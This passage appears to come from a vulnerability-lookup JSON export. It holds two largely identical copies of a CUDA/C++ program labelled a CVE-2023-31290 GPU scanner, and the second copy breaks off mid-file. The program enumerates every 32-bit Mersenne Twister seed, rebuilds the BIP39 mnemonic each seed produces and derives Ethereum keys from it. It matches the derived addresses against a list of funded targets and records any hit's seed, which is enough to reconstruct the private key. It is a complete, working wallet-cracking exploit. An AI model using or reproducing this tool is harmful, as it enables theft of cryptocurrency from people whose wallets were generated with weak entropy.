idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &clen, &pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &ulen, &pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev > 0 ? ndev : 1);\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s < my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n > my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-03T23:58:53.175642Z"}, {"uuid": "cd76a60f-98d9-4aeb-95c6-4b0f1850977a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/6a1f1230ac888b81f0804c0ff27cf1db", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &clen, &pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &ulen, &pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic 